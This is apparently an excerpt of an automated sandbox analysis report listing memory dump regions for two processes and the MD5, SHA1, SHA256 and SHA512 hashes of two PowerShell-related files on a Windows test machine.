memory/3264-191-0x00000000085A0000-0x0000000008616000-memory.dmp

memory/3264-192-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

memory/3264-200-0x00000000078A0000-0x0000000007EC8000-memory.dmp

memory/3264-201-0x0000000009620000-0x0000000009653000-memory.dmp

memory/3264-202-0x0000000009620000-0x0000000009653000-memory.dmp

memory/3264-203-0x00000000072A0000-0x00000000072C2000-memory.dmp

memory/3264-204-0x0000000007340000-0x00000000073A6000-memory.dmp

memory/3264-205-0x00000000073B0000-0x0000000007416000-memory.dmp

memory/3264-206-0x0000000008270000-0x00000000082BB000-memory.dmp

memory/3264-208-0x000000007F260000-0x000000007F261000-memory.dmp

memory/3264-207-0x00000000085A0000-0x0000000008616000-memory.dmp

memory/3264-209-0x00000000093E0000-0x00000000093FE000-memory.dmp

memory/3264-214-0x0000000009750000-0x00000000097F5000-memory.dmp

memory/3264-215-0x0000000009980000-0x0000000009A14000-memory.dmp

memory/3264-250-0x0000000003173000-0x0000000003174000-memory.dmp

memory/3264-409-0x00000000098E0000-0x00000000098FA000-memory.dmp

memory/3264-414-0x00000000098E0000-0x00000000098FA000-memory.dmp

memory/3264-415-0x00000000098C0000-0x00000000098C8000-memory.dmp

memory/3264-420-0x00000000098C0000-0x00000000098C8000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 1c19c16e21c97ed42d5beabc93391fc5
SHA1 8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA256 1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
SHA512 7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

memory/1652-433-0x00000000045E0000-0x0000000004616000-memory.dmp

memory/1652-434-0x00000000072B0000-0x00000000078D8000-memory.dmp

memory/1652-435-0x0000000006F50000-0x0000000006F72000-memory.dmp

memory/1652-436-0x0000000007150000-0x00000000071B6000-memory.dmp

memory/1652-437-0x00000000071C0000-0x0000000007226000-memory.dmp

memory/1652-439-0x0000000006C70000-0x0000000006C71000-memory.dmp

memory/1652-440-0x0000000006C72000-0x0000000006C73000-memory.dmp

memory/1652-438-0x00000000078E0000-0x0000000007C30000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 dc1bf0a0bd5fd62025f6b9ace09d6b05
SHA1 6eaf6c618e4f94bd11736551b61d13f06c614a73
SHA256 c7dc69716b4b2ab956bd0d5f53392edbcc7bbba521dbeb581cf2602de6f10106
SHA512 758fbedd24970185a0d0aa5e93a1c0299251c01e4942917f15850f4092f5bbc478ff23934466dcc4b6b11d548c77f46810cbcaadf538f291cf3366eebc8e26fc

memory/1652-442-0x0000000007E70000-0x0000000007E8C000-memory.dmp

memory/1652-443-0x0000000007EA0000-0x0000000007EEB000-memory.dmp

memory/1652-444-0x0000000008230000-0x00000000082A6000-memory.dmp

memory/1652-453-0x00000000072B0000-0x00000000078D8000-memory.dmp

memory/1652-454-0x0000000009030000-0x0000000009063000-memory.dmp

memory/1652-455-0x0000000009030000-0x0000000009063000-memory.dmp

memory/1652-457-0x0000000007150000-0x00000000071B6000-memory.dmp

memory/1652-456-0x0000000006F50000-0x0000000006F72000-memory.dmp

memory/1652-458-0x00000000071C0000-0x0000000007226000-memory.dmp

memory/1652-459-0x0000000007EA0000-0x0000000007EEB000-memory.dmp

memory/1652-460-0x0000000008230000-0x00000000082A6000-memory.dmp

memory/1652-461-0x0000000009010000-0x000000000902E000-memory.dmp

memory/1652-466-0x0000000009260000-0x0000000009305000-memory.dmp

memory/1652-467-0x000000007F0B0000-0x000000007F0B1000-memory.dmp

memory/1652-468-0x00000000095B0000-0x0000000009644000-memory.dmp

memory/1652-537-0x0000000006C73000-0x0000000006C74000-memory.dmp

memory/1652-662-0x0000000009510000-0x000000000952A000-memory.dmp

memory/1652-667-0x0000000009510000-0x000000000952A000-memory.dmp

memory/1652-668-0x0000000009150000-0x0000000009158000-memory.dmp

memory/1652-673-0x0000000009150000-0x0000000009158000-memory.dmp